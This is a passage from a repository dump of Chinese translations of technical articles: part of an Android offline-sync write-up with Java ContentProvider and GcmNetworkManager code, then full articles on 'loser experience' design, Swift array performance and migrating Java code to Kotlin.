方案的讨论，最终我们决定使用如下方案：抛弃加载进度条 —— 尽管它很美丽。\n\n应用应该流畅地运行，不需要置用户于等待状态。\n\n总的来说我们要实现的是让网络连接不再是问题 —— 应用永远可用。\n\n结果如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*_Cjxt6cmEQ1NeBoUbvN3KA.gif)\n\n当用户处于离线模式，他只要提交请求就会成功。\n仅有的离线状态小提示是右上角的同步状态图标。一旦联网，无论应用是在前台还是后台，都会将用户的请求发送到服务器。\n\n![](https://cdn-images-1.medium.com/max/800/1*Jx1PeLYYsKC809YCckpxAw.gif)\n\n除了注册和登录外的其他网络请求都采用了相同的处理。\n\n我们是如何实现的呢？\n\n我们首先彻底地将视图、逻辑以及持久化的模型分开。如 [Yigit Boyar](https://medium.com/@yigitboyar) 所说：\n\n> 本地操作，全局同步。\n\n这就意味着你的模型需要持久化并且会被外界更新。模型中的数据应该使用回调/事件的方法异步地传递给 presenter 以及视图。记住 —— 视图是不能言语的，它只是对模型中内容的显示。没有加载对话框和任何内容。视图响应用户的操作，并通过 presenter 将交互结果传递到模型，然后接收、显示下一状态。\n\n![](https://cdn-images-1.medium.com/max/1000/1*npK-x_AUzNQxRIpsZ4Gqrw.png)\n\n本地存储我们使用的是 [SQLite](https://developer.android.com/training/basics/data-storage/databases.html)。在它基础上我们包装了一层 [Content Provider](https://developer.android.com/guide/topics/providers/content-providers.html)，因为其对事件的 [ContentObserver](https://developer.android.com/reference/android/database/ContentObserver.html) 能力。\nContentProvider 是对数据访问和操作非常好的抽象。\n\n为什么不使用 RxJava？呃，这是另一个话题了。长话短说，作为创业公司，我们动作要尽可能快并且项目几个月就要迭代更新一次，所以我们决定开发过程越简单越好。\n而且，我喜欢 ContentProvider，它还有一些额外的能力：[自动初始化](https://firebase.googleblog.com/2016/12/how-does-firebase-initialize-on-android.html)，[单独进程运行](https://developer.android.com/guide/components/processes-and-threads.html#Processes)以及[自定义搜索接口](https://developer.android.com/guide/topics/search/adding-custom-suggestions.html)。\n\n对于后台同步任务，我们选择使用的是 [GCMNetworkManager](https://developers.google.com/cloud-messaging/network-manager)。 如果你对它不熟悉 —— 它支持在达到特定条件时触发调度执行任务/周期性任务，比如网络恢复连接，GCMNetworkManager 在 [Doze 模式](https://developer.android.com/training/monitoring-device-state/doze-standby.html) 下工作很好。\n\n框架结构如下所示：\n\n![](https://cdn-images-1.medium.com/max/1000/1*RvHF6kSmJoUOTxG9JuqsHg.png)\n\n### 工作流：创建订单并同步\n\n**步骤 1:** Presenter 创建新订单并通过 ContentResolver 传递给 Content Provider 存储。\n\n![](https://cdn-images-1.medium.com/max/800/1*V-5Lzm1AaITF4FjH3hcpfg.png)\n\n```\npublic class NewOrderPresenter extends BasePresenter<NewOrderView> {\n  //...\n  \n  private int insertOrder(Order order) {\n    //turn order to ContentValues object (used by SQL to insert values to Table)\n    ContentValues values = order.createLocalOrder(order);\n    //call resolver to insert data to the Order table\n    Uri uri = context.getContentResolver().insert(KolGeneContract.OrderEntry.CONTENT_URI, values);\n    //get Id for order.\n    if (uri != null) {\n      return order.getLocalId();\n    }\n    return -1;\n  }\n  \n  //...\n}\n```\n\n**步骤 2:** Content Provider 将数据存储到本地数据库，并通知所有观察者新创建了一个**『待处理』**状态的订单。\n\n![](https://cdn-images-1.medium.com/max/800/1*yKM91Jxgude1NZ4FDkVOkA.png)\n\n```\npublic class KolGeneProvider extends ContentProvider {\n  //...\n  @Nullable @Override public Uri insert(@NonNull Uri uri, ContentValues values) {\n    //open DB for write\n    final SQLiteDatabase db = mOpenHelper.getWritableDatabase();\n    //match URI to action.\n    final int match = sUriMatcher.match(uri);\n    Uri returnUri;\n    switch (match) {\n      //case of creating order.\n      case ORDER:\n        long _id = db.insertWithOnConflict(KolGeneContract.OrderEntry.TABLE_NAME, null, values,\n            SQLiteDatabase.CONFLICT_REPLACE);\n        if (_id > 0) {\n          returnUri = KolGeneContract.OrderEntry.buildOrderUriWithId(_id);\n        } else {\n          throw new android.database.SQLException(\n              \"Failed to insert row into \" + uri + \" id=\" + _id);\n        }\n        break;\n      default:\n        throw new UnsupportedOperationException(\"Unknown uri: \" + uri);\n    }\n    \n    //notify observables about the change\n    getContext().getContentResolver().notifyChange(uri, null);\n    return returnUri;\n  }\n  //...\n}\n```\n\n**步骤 3:** 我们注册的用来监听订单表的后台服务，接收到相应 URI 并开始执行该任务的特定服务。 \n\n![](https://cdn-images-1.medium.com/max/800/1*ZPbhDIWPmIIeTpa_2jqVjA.png)\n\n```\npublic class BackgroundService extends Service {\n\n  @Override public int onStartCommand(Intent intent, int i, int i1) {\n    if (observer == null) {\n      observer = new OrdersObserver(new Handler());\n      getContext().getContentResolver()\n        .registerContentObserver(KolGeneContract.OrderEntry.CONTENT_URI, true, observer);\n    }\n  }\n   \n  \n  //...\n  @Override public void handleMessage(Message msg) {\n      super.handleMessage(msg);\n      Order order = (Order) msg.obj;\n      Intent intent = new Intent(context, SendOrderService.class);\n      intent.putExtra(SendOrderService.ORDER_ID, order.getLocalId());\n      context.startService(intent);\n  }\n  \n  //...\n\n}\n```\n\n**步骤 4:** 服务从 DB 获取数据，并尝试同步服务端。当网络请求成功后，通过 ContentResolver 将订单的状态更新为『已同步』。\n\n![](https://cdn-images-1.medium.com/max/800/1*lMFYUWZZqJPWHp3hXVbVJg.png)\n\n```\npublic class SendOrderService extends IntentService {\n\n  @Override protected void onHandleIntent(Intent intent) {\n    int orderId = intent.getIntExtra(ORDER_ID, 0);\n    if (orderId == 0 || orderId == -1) {\n      return;\n    }\n\n    Cursor c = null;\n    try {\n      c = getContentResolver().query(\n          KolGeneContract.OrderEntry.buildOrderUriWithIdAndStatus(orderId, Order.NOT_SYNCED), null,\n          null, null, null);\n      if (c == null) return;\n      Order order = new Order();\n      if (c.moveToFirst()) {\n        order.getSelfFromCursor(c, order);\n      } else {\n        return;\n      }\n\n      OrderCreate orderCreate = order.createPostOrder(order);\n\n      List<LocationId> locationIds = new LabLocation().getLocationIds(this, order.getLocalId());\n      orderCreate.setLabLocations(locationIds);\n      Response<Order> response = orderApi.createOrder(orderCreate).execute();\n\n      if (response.isSuccessful()) {\n        if (response.code() == 201) {\n          Order responseOrder = response.body();\n          responseOrder.setLocalId(orderId);\n          responseOrder.setSync(Order.SYNCED);\n          ContentValues values = responseOrder.getContentValues(responseOrder);\n          Uri uri = getContentResolver().update(\n              KolGeneContract.OrderEntry.buildOrderUriWithId(order.getLocalId()), values);\n          return;\n        }\n      } else {\n        if (response.code() == 401) {\n          ClientUtils.broadcastUnAuthorizedIntent(this);\n          return;\n        }\n      }\n    } catch (IOException e) {\n    } finally {\n      if (c != null && !c.isClosed()) {\n        c.close();\n      }\n    }\n    SyncOrderService.scheduleOrderSending(getApplicationContext(), orderId);\n  }\n}\n```\n\n**步骤 5:** 如果请求失败，会使用 GCMNetworkManager 安排一个一次性任务，设置 `.setRequiredNetwork(Task.NETWORK_STATE_CONNECTED)` 和订单 id。\n\n当条件达到时（设备连接网络并且非 doze 模式），GCMNetworkManager 调用 **onRunTask()**，应用会再次尝试同步订单。如果依然失败，重新进行调度。\n\n![](https://cdn-images-1.medium.com/max/800/1*bVnwsrtBifduv8ymaaft1A.png)\n\n```\npublic class SyncOrderService extends GcmTaskService {\n   //...\n   public static void scheduleOrderSending(Context context, int id) {\n    GcmNetworkManager manager = GcmNetworkManager.getInstance(context);\n    Bundle bundle = new Bundle();\n    bundle.putInt(SyncOrderService.ORDER_ID, id);\n    OneoffTask task = new OneoffTask.Builder().setService(SyncOrderService.class)\n        .setTag(SyncOrderService.getTaskTag(id))\n        .setExecutionWindow(0L, 30L)\n        .setExtras(bundle)\n        .setPersisted(true)\n        .setRequiredNetwork(Task.NETWORK_STATE_CONNECTED)\n        .build();\n    manager.schedule(task);\n  }\n  \n  //...\n  @Override public int onRunTask(TaskParams taskParams) {\n    int id = taskParams.getExtras().getInt(ORDER_ID);\n    if (id == 0) {\n      return GcmNetworkManager.RESULT_FAILURE;\n    }\n    Cursor c = null;\n    try {\n      c = getContentResolver().query(\n          KolGeneContract.OrderEntry.buildOrderUriWithIdAndStatus(id, Order.NOT_SYNCED), null, null,\n          null, null);\n      if (c == null) return GcmNetworkManager.RESULT_FAILURE;\n      Order order = new Order();\n      if (c.moveToFirst()) {\n        order.getSelfFromCursor(c, order);\n      } else {\n        return GcmNetworkManager.RESULT_FAILURE;\n      }\n\n      OrderCreate orderCreate = order.createPostOrder(order);\n\n      List<LocationId> locationIds = new LabLocation().getLocationIds(this, order.getLocalId());\n      orderCreate.setLabLocations(locationIds);\n      \n      Response<Order> response = orderApi.createOrder(orderCreate).execute();\n\n      if (response.isSuccessful()) {\n        if (response.code() == 201) {\n          Order responseOrder = response.body();\n          responseOrder.setLocalId(id);\n          responseOrder.setSync(Order.SYNCED);\n          ContentValues values = responseOrder.getContentValues(responseOrder);\n          Uri uri = getContentResolver().update(\n              KolGeneContract.OrderEntry.buildOrderUriWithId(order.getLocalId()), values);\n          return GcmNetworkManager.RESULT_SUCCESS;\n        }\n      } else {\n        if (response.code() == 401) {\n          ClientUtils.broadcastUnAuthorizedIntent(getApplicationContext());\n        }\n      }\n    } catch (IOException e) {\n    } finally {\n      if (c != null && !c.isClosed()) c.close();\n    }\n    return GcmNetworkManager.RESULT_RESCHEDULE;\n  }\n\n  //...\n}\n```\n\n订单一旦同步成功，后台服务或 GCMNetworkManager 会通过 ContentResolver 将订单的本地状态更新为**『已同步』**。\n\n![](https://cdn-images-1.medium.com/max/800/1*MOUPz0cimb0LaUktu4FvMw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*nquwIHLwfOSyPEQVl-qMow.gif)\n\n当然该框架不是万能的。你需要处理所有可能的边界条件，例如同步一个服务端已经存在订单，但是管理员已经在服务端对其进行了取消/修改？如果他们修改了相同的属性怎么办？如果首次更新是由普通用户或管理员进行会发生什么？在我们的产品中对部分这类问题已经处理，但是部分问题采取不处理方案（毕竟很少发生）。我们解决这类问题的不同方法，我会在后面的文章进行介绍。\n\n正如 Fred 所说，我们的代码库确实存在改进空间：\n\n> 即使最好的方案也不会完美到一次成功。\n>\n> —— Fred Brooks\n\n但是我们会继续为改进而努力，让我们的 [KolGene](http://www.kolgene.com) 使用起来更舒心，给用户带来满足。\n\n![](https://cdn-images-1.medium.com/max/800/1*o5gY6EvVN7ds02NDgBAAAg.gif)"
  },
  {
    "path": "TODO/on-loser-experience-design.md",
    "content": "> * 原文地址：[On Loser Experience Design](https://medium.com/on-human-centric-systems/on-loser-experience-design-1916629c36fc)\n> * 原文作者：[Matt LeMay](https://medium.com/@mattlemay?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[ylq167](https://github.com/ylq167)\n> * 校对者：[LisaPeng](https://github.com/LisaPeng) [dongpeiguo](https://github.com/dongpeiguo)\n\n# 针对失败者的用户体验设计 #\n\n## 设计平台或产品不仅是针对赢家，大V和意见领袖。 ##\n\n![](https://cdn-images-1.medium.com/max/800/1*kVOEiUv3YK8tcYEa5QKmLA.jpeg)\n\nTurntable.fm，就是一个针对失败者的用户体验设计的教训。\n\n你还记得 turntable.fm 吗？这个产品背后的理念是简单明确的：你和你的朋友或陌生人一起加入了一个虚拟的「房间」，轮流为对方进行打碟。像许多经历过早期流行性增长的产品一样，它采用了现实世界的行为-社交性倾听-并创建了一个数字代理，可以将人们跨越地理和文化的鸿沟即时连接起来。当 turntable.fm 启动时，我非常激动，不会感觉到孤单。\n\n但是，当我使用 turntable.fm 越多，我愈发的开始觉得自己就像一个，呃，**失败者**。我主要感兴趣的是发现新的音乐，而不是成为一个**虚拟 DJ 明星**。但是这个平台似乎并没有对成为一个好的听众提供鼓励或激励，在我完全参与到与虚拟室友的互动后没有提供闪亮的奖品。我的化身仍然微小并平庸着，而其他人在慢慢成长，装饰着珠宝，配备着酷酷的动物服饰。\n\n**Turntable.fm 对失败者的糟糕体验，使普通用户感到在这个游戏中根本无法战胜强大的对手。**\n\n在缺乏良好的对失败者的体验设计的情况下，产品和平台变成了渴望变成「大V」的人们驻扎的鬼城，拼命地陷入一个曾经被好奇的普通用户占据的空洞。在一个痴迷性能指标和状态标记的世界中，糟糕的失败者体验设计就在我们周围。\n\n#### 坏的失败者体验设计模式 ####\n\n这里有几个迹象表明你的产品可能有**坏的失败者体验设计**：\n\n![](https://cdn-images-1.medium.com/max/600/1*k_ZpnygG7JhLUteHxZOJyQ.png)\n\n插图来自于[Joan LeMay](http://joanlemay.com) \n\n- **你有一个「排行榜」或者积分制度。**\n\n是的，短期来看，人们可以被一个抽象奖励的产品像「积分」或「[硬币](https://techcrunch.com/2015/12/09/swarm-now-lets-you-spend-those-coins-on-upgraded-stickers/)」激励。但是看看当你的用户看见他们自己落在「排行榜」的底部，或者在他们投资获得那些闪亮的小饰品的时间后但无法获得任何真正的价值时会发生什么。努力争取一些东西却发现是毫无价值的，是令人感到尴尬和沮丧的，会让你感觉自己「像一个彻底的失败者」。不必要的「游戏化」是最糟糕和懒惰的坏的失败者体验设计模式之一。从长远看来，他[不起作用](http://www.gartner.com/newsroom/id/2251015)。\n\n- **你可以从视觉上区分赢家和失败者。**\n\nTwitter 的认证系统旨在通过「认证」用户是真实身份来促进信任。但是在初期，「认证」就像是一个[「重要的」人的荣誉勋章](http://anildash.com/2013/03/what-its-like-being-verified-on-twitter.html)，和一个[在有无勋章的人之间的阶级划分](http://www.xojane.com/tech/how-to-get-verified-on-twitter)。当 Twitter 大力认证记者时，是为缓解这种糟糕的失败者体验设计迈出的重大一步，明确表示这个区别有功能性的*目的*，并会赋予不是高地位名人的人。\n\n- **你过于重视受欢迎程度的指数。**\n\n这可能是最糟糕的失败者体验设计模式。试图决定表层的内容？最受欢迎的内容怎么样？试图寻找一些「有趣的」用户？寻找粉丝最多的人！这是糟糕的失败者用户体验设计中的「富者愈富」的问题-通过建立奖励已经获取成功的人的平台，创造一个永久性的难以接近的一类，倾向于奖励在提高他们自己身份上最无情最具有倾略性的这些人 -- 即使这意味着戏耍整个系统。\n\n- **你将休闲用户当作失败的高级用户。**\n\nZach Holman 的「[不要给你的用户进行工作](https://zachholman.com/posts/shit-work/)」很好地描述了这个糟糕的失败者体验模式：一个新的用户上线后，立即呈现了一大堆「高级用户」的功能来帮助他们获得关于这个产品的「更多」内容。如果他们忽略使用这些功能。他们会发现自己陷入一种永久性的障碍，不停的重复提醒他们使用不需要的功能，也不能从产品中获得即时价值。如果你将休闲用户当作失败的高级用户，他们将开始**感觉**到失败 -- 然后他们会离开。\n\n#### 好的失败者用户体验设计的提示 ####\n\n糟糕的失败者体验设计可能会严重伤害产品，**良好的**失败者体验设计可以帮助培养广泛，有针对性和自我增长的用户群。 这里有一些好的失败者体验设计的技巧：\n\n- **帮助用户找到他们（想要的）人，而不是最受欢迎的人。**\n\n当平台重点关注「赞」和「最爱」之间的共同利益和社交纽带时，他们帮助每个人找到一个他们所属的地方。Instagram 已经做了很好的工作，他们的发现功能，持续展示出与**你**接近（类似）的人，而不是最受欢迎的或粉丝最多的。他们的新发现功能帮助我找到我的[吉他](https://www.instagram.com/leoleoband/)[人](https://www.instagram.com/lostincrystalcanyons/)，我的[cat](https://www.instagram.com/scruffles_fatcat/)[people](https://www.instagram.com/12catslady/)，甚至发现一个全新的[草原](https://www.instagram.com/rinran032/)社区[dog](https://www.instagram.com/prairiedogpack/)[people](https://www.instagram.com/pimpa_wan/)。正如我更多地使用这些发现功能，我已经开始更少关注我获得了多少「粉丝」和「赞」，并更多地关注与我互动的人 -- 这是一个好的失败者体验设计的信号。\n\n- **给「被动」用户有意义的方式来参与。**\n\nTumblr 的转发功能是一个很好的失败者体验设计的例子。如果有人看到他们喜欢的东西，他们可以把它**分享给他们的整个网络**，而不仅仅是留下评论或「赞」，这样可以帮助人们更深入地互相交流，这意味着由数量不多追随者的写作的投递可以通过网络和社区来找到更广泛的观众。他也给不想「写」的人一个有意义的方式贡献与参与。\n\n- **让不是「高级用户」的人测试你的产品。**\n\n最后，也可能是最重要的，突破了设计和测试模式，导致将「高级用户」和「好用户」画等号。过度依赖内部的「dogfooding」（一种测试方法，译者注），其中新产品和功能主要由公司自己的员工测试，这是通往坏的失败者体验设计的单程票。解散对你的产品不满意的用户测试候选人是另一个通往糟糕的失败者体验设计的可靠途径。通过对「高级用户」的思考，广泛的考虑休闲用户的需求和行为 - 并问自己「如果我每周只用几次这款产品，会让我感觉像一个「失败者」吗？」\n\n#### 自然环境下的失败者体验设计 ####\n\n您的日常使用产品或平台是否受到糟糕的失败者体验设计的影响？发表回复，让我知道你的想法。并且一定要点赞，这样我就可以在 Medium 上感受到自己是一个高阶的*赢家*。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/on-performant-arrays-in-swift.md",
    "content": "> * 原文地址：[On Performant Arrays in Swift](http://jordansmith.io/on-performant-arrays-in-swift/)\n> * 原文作者：[JORDAN SMITH](http://jordansmith.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/on-performant-arrays-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO/on-performant-arrays-in-swift.md)\n> * 译者：[jingzhilehuakai](https://github.com/jingzhilehuakai)\n> * 校对者：[RickeyBoy](https://github.com/RickeyBoy)  [cbangchen](https://github.com/cbangchen)\n\n# Swift 上的高性能数组\n\n对于日常应用开发，考虑数组性能是一件不会经常发生的事。如果你正在实现需要扩展的算法，也许高性能数组就能出现在你脑海中。也许你正在写更偏向于底层的代码，比如一个框架，这时任何的性能缺陷都会产生复合效应。当数组性能变得重要的时候，了解一些优化数组性能的方式也是很不错的。让我们来深入的了解一下 Swift 中的数组吧。\n\n## 连续的数组\n\n[`Array`](https://developer.apple.com/documentation/swift/array) 不是 Swift 唯一提供的数组类型。你可能已经注意到 [`ArraySlice`](https://developer.apple.com/documentation/swift/arrayslice) 类型，它能在不复制数组的情况下，展示出数组的局部片段。另外还有 [`ContiguousArray`](https://developer.apple.com/documentation/swift/contiguousarray) 类型。和名字所暗示的不同，它其实是 Swift 中最简单的数组类型。相比标准的数组，它可以有更好的性能表现，而即便没有，也至少可以提供与 `Array` 相同性能水平的表现。同时也暴露出相同的接口。所以，为什么不用 `ContiguousArray` 去替代 `Array` 呢？\n\n```\nlet deliciousArray = ContiguousArray<String>(arrayLiteral: \"🌮\", \"🥞\", \"🥖\")\n```\n\n好吧，因为 Objective-C 的兼容性，`Array` 能无缝对接成一个 `NSArray`。在底层，一个 `Array` 实例只要它的元素类型是 class 或是遵循了 Objective-C 兼容协议的类型，就会将数组数据存储在 `NSArray` 中。只要不是这种情况（例如数组元素为值类型的数组），这个数组就不会被存储在 `NSArray` 中，并且性能变得和 `ContiguousArray` 相当。\n\n为了比较性能，我们运行了这样一个测试，向每个数组的实例中添加一百万个单独的引用类型，然后删除。这些引用类型会在开始计时前进行预构建，而结果为超过 100 次的运行后得到的平均值。下面的值是在设置了编译器优化的情况下获得的。总的来说，你可以看到，如果数组性能是瓶颈的话，在数组元素为引用类型或 `@objc` 类型的前提下，切换为 `ContiguousArray` 的使用大约能获得 2 倍性能的提升。\n\n| **Array** | **ContiguousArray** |\n| ---------- | ------------------ |\n| 58.9 ms | 30.3 ms |\n\n## 数组容量\n\n看起来 Swift 数组分配的内存与它的长度成正比。如果是这种情况，添加或删除一个元素将需要分配或释放内存，并对数组长度的每一个变化都造成性能损失。相反，提前分配最少的内存空间是更有意义的，这样就可以在不引起内存管理性能损失的情况下进行接下来的几个新增操作。这实际上是 Swift 所做的：以一种智能的方式进行内存分配，来让分配性能消耗保持在最低的水平。\n\n尽管有智能内存分配，但如果清楚地知道数组应该被定义持有的内存大小，才是内存分配最有效的方式。这样，只需要一个内存分配就可以了。 Swift 数组提供了定义和预留容量的能力，而且这样做可以实现较小的性能增益。\n\n\n```\nvar healthyArray = [\"🍉\", \"🥕\"]\nhealthyArray.reserveCapacity(50)\n```\n\n运行另一个测试，再次向一个数组中添加和删除一百万个引用类型，产生以下的结果。该测试是针对连续数组有无预留内存容量的情况。\n\n| **Without Reserved Capacity** | **With Reserved Capacity** |\n| ------------------------------ | ------------------------- |\n| 29.7 ms | 27.3 ms |\n\n## C 类型数组\n\n如果你想访问原始内存来加强数组，你也可以这么做。对于标准的数组操作，它不会提供太多的性能增益。对于非标准的情况，用这种方式访问或修改数据可能是有必要的，或者是对性能有益的。\n\n```\nvar balancedDietArray = [\"🥖\", \"🍩\", \"🍗\"]\nbalancedDietArray.withUnsafeMutableBufferPointer { arrayPointer in\n    arrayPointer[1] = \"🍇\"\n}\n```\n\n---\n如果你想了解更多关于 Swift 数组是如何工作的，可以在这里找到更多的内容：[Swift Array Design](https://github.com/apple/swift/blob/master/docs/Arrays.rst)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/on-strategies-to-apply-kotlin-to-existing-java-code.md",
    "content": "\n> * 原文地址：[On Strategies to apply Kotlin to existing Java code](https://medium.com/@enriquelopezmanas/on-strategies-to-apply-kotlin-to-existing-java-code-6317974717ec)\n> * 原文作者：[Enrique López Mañas](https://medium.com/@enriquelopezmanas)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/on-strategies-to-apply-kotlin-to-existing-java-code.md](https://github.com/xitu/gold-miner/blob/master/TODO/on-strategies-to-apply-kotlin-to-existing-java-code.md)\n> * 译者：[Luolc](https://github.com/Luolc)\n> * 校对者：[skyar2009](https://github.com/skyar2009), [phxnirvana](https://github.com/phxnirvana)\n\n# 将 Kotlin 应用于现有 Java 代码的策略\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*3fqrq8dMl-V3294hR5VfbQ.jpeg)\n\n# 将 Kotlin 应用于现有 Java 代码的策略\n\n自 Google 在 I/O 大会上发布最新消息（译者注：Google 宣布 Android Studio 将默认支持 Kotlin）起，事情变得疯狂起来。在过去的两周内，[Kotlin 周报](http://www.kotlinweekly.net/)邮件列表的订阅人数增长了 20% 以上，文章提交数增长超过 200%。我所组织的线下交流（[Kotlin 慕尼黑用户组](https://www.meetup.com/Kotlin-User-Group-Munich/)）的参与人数大幅增长。所有这一切伴随着开发者社区总体的爆发性增长。\n\n![](https://cdn-images-1.medium.com/max/1600/1*QtuHCInbXJ9Fyl8Cy1Cnsw.png)\n\n一个还会不断增长的趋势。\n\n总之现在来看，未来将会如何发展是很显然的。尽管 Google 承诺将继续支持 Java，但 [Google 和 Oracle 之间的法律纠纷](https://en.wikipedia.org/wiki/Oracle_America,_Inc._v._Google,_Inc.)以及 Kotlin 是一个更加简洁、高效、强大的语言的清晰事实正在标志着你学习的方向。我发现下面这个推文相当有预见性。\n\n![](https://ws3.sinaimg.cn/large/006tKfTcly1fh3l62xqunj30wo0fggn4.jpg)\n\n几个月前，当我出现在与 Kotlin 相关的讨论、社区中时，可能最常被问及的问题是，现在是否是一个迁移至 Kotlin 的好时机。我的回答始终不会变：**是的**。进行 Kotlin 迁移有很多收益，且几乎没有任何坏处。我所能想到的唯一一个技术上的副作用是方法数将会增多，因为 Kotlin 标准库（目前）增加了 [7191 个新方法](https://blog.jetbrains.com/kotlin/2016/03/kotlins-android-roadmap/)。综合利弊来看，这是一个完全可以接受的不足。\n\n既然这个问题的答案是毫无争议的肯定，我意识到另一个问题在浮现出来：**开始使用 Kotlin 应该采取什么样的步骤？**\n\n本文旨在向那些困惑从何开始或寻求灵感的人们提供一些自己的想法。\n\n### 1.- 从测试开始\n\n是的，我知道测试是有限制性的。单元测试确切是指：你所测试的（是）独立单元和模块。当你所拥有的一切只是一群单独的类和可能的少量辅助类时，开发复杂的架构网是很困难的。但是这是一种对新语言建立认知和拓展的非常廉价和高效的方法。\n\n我所听到的一个最常见的反对 Kotlin 的观点是，要避免在生产环境中部署 Kotlin 代码。虽然在我看来这是一种非常有偏见的观点，我想向你强调的是，如果你从测试开始，没有任何代码会被实际部署（到生产环境）。取而代之的是，这些代码可能会在你的持续集成环境中被使用，而这也是一种拓展知识的方式。\n\n开始用 Kotlin 书写新的测试吧，它们可以直接与其他 Java 类进行协同和互通。当你有空闲时间时，可以[将 Java 类迁移](https://www.jetbrains.com/help/idea/2017.1/converting-a-java-file-to-kotlin-file.html)，并检查生成的代码，根据需要进行手动更改。以我个人经验来看，60% 的转换代码都是可以直接使用的，对于没有复杂功能的简单类而言这个比例会更高。我发现这是一个非常安全的场景，可以作为第一步来开始。\n\n### 2.- 迁移已有代码\n\n你已经开始编写了一些 Kotlin 代码。你了解了一些关于语言的基础。现在你已经[准备好将 Kotlin 用于生产环境](https://www.youtube.com/watch?v=-3uiFhI18g8)了！\n\n当你要第一次开始在生产环境中使用时，从低耦合的类（[DTO](https://en.wikipedia.org/wiki/Data_transfer_object) 和数据类）开始是非常高效的。这些类的影响很小，可以在非常短的时间内轻松的重构。这是了解[数据类](https://kotlinlang.org/docs/reference/data-classes.html)并大幅减少你的代码量的最佳时机。\n\n![](https://cdn-images-1.medium.com/max/1600/1*CiirveRVOZzMAOLv45aw7A.png)\n\n这是你希望发起的 PR。\n\n在这之后，开始迁移单一类。可能是类似 **LanguageHelper** 或 **Utils** 这样的类。虽然它们在很多地方被调用，但这种类一般只提供一些影响和依赖关系很有限的功能。\n\n在某个时间节点，你会感觉解决架构中那些更加庞大和核心的类已经足够舒适了。不要害怕。请特别注意**可为空（nullability）**，这是 Kotlin 中最为重要的特性之一。如果你已经进行了很多年的 Java 编程的话，它需要你用一种新的思维方式。但请相信我，新的编程范式最终会在你的头脑中形成。\n\n记住：你不需要强制迁移整个代码库。Kotlin 和 Java 可以无缝交互，现在你并不需要让代码库 100% 由 Kotlin 组成。当你感觉到足够舒适的时候再去做它。\n\n### 3.- 尽情的使用 Kotlin\n\n到这个阶段你一定可以开始用 Kotlin 编写所有的新代码了。把这当成过去的事，不要总是回看。当你开始用纯 Kotlin 编写第一个功能时，除了在上面提到过的**可为空（nullability）**，你还需要对默认参数多加注意。更多的考虑扩展功能，而不是继承。发起拉取请求（Pull Request）和代码审查，和你的同事讨论如何能够进一步完善。\n\n最后的建议，享受吧！\n\n### 用于学习 Kotlin 的资源\n\n下面所列的是我曾经尝试过并且可以推荐的学习 Kotlin 的资源链接。我特别喜欢书籍，尽管有些人讨厌它们。我发现把它们大声读出来是很重要的，同时在电脑上进行编写和练习的话对于知识的沉淀更有帮助。\n\n1. [Kotlin Slack](http://slack.kotlinlang.org/): 许多 JetBrains 的人和 Kotlin 狂热者会聚集在这里。\n2. [Kotlin Weekly](http://kotlinweekly.net/): 我管理的一个每周选取 Kotlin 相关资讯发布的邮件列表。\n3. [Kotlin Koans](https://kotlinlang.org/docs/tutorials/koans.html): 一系列可以训练和强化你的 Kotlin 技能的在线练习。\n4. [Kotlin in Action](https://www.manning.com/books/kotlin-in-action): 来自 JetBrains 的一些 Kotlin 工作者的书。\n5. [Kotlin for Android developers](https://transactions.sendowl.com/stores/7146/39165): 一本重点在如何使用 Kotlin 做 Android 开发的书。\n6. [Resources to Learn Kotlin](https://developer.android.com/kotlin/resources.html): Google 提供的更多学习 Kotlin 的资源。\n\n我在我的 [Twitter 账户](https://twitter.com/eenriquelopez)上分享关于软件工程和生活的一些观点。如果你喜欢这篇文章或它真的对你有所帮助，非常乐意你能够分享、点赞或回复。这是业余作者的最大动力。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/on-writing-less-damn-code.md",
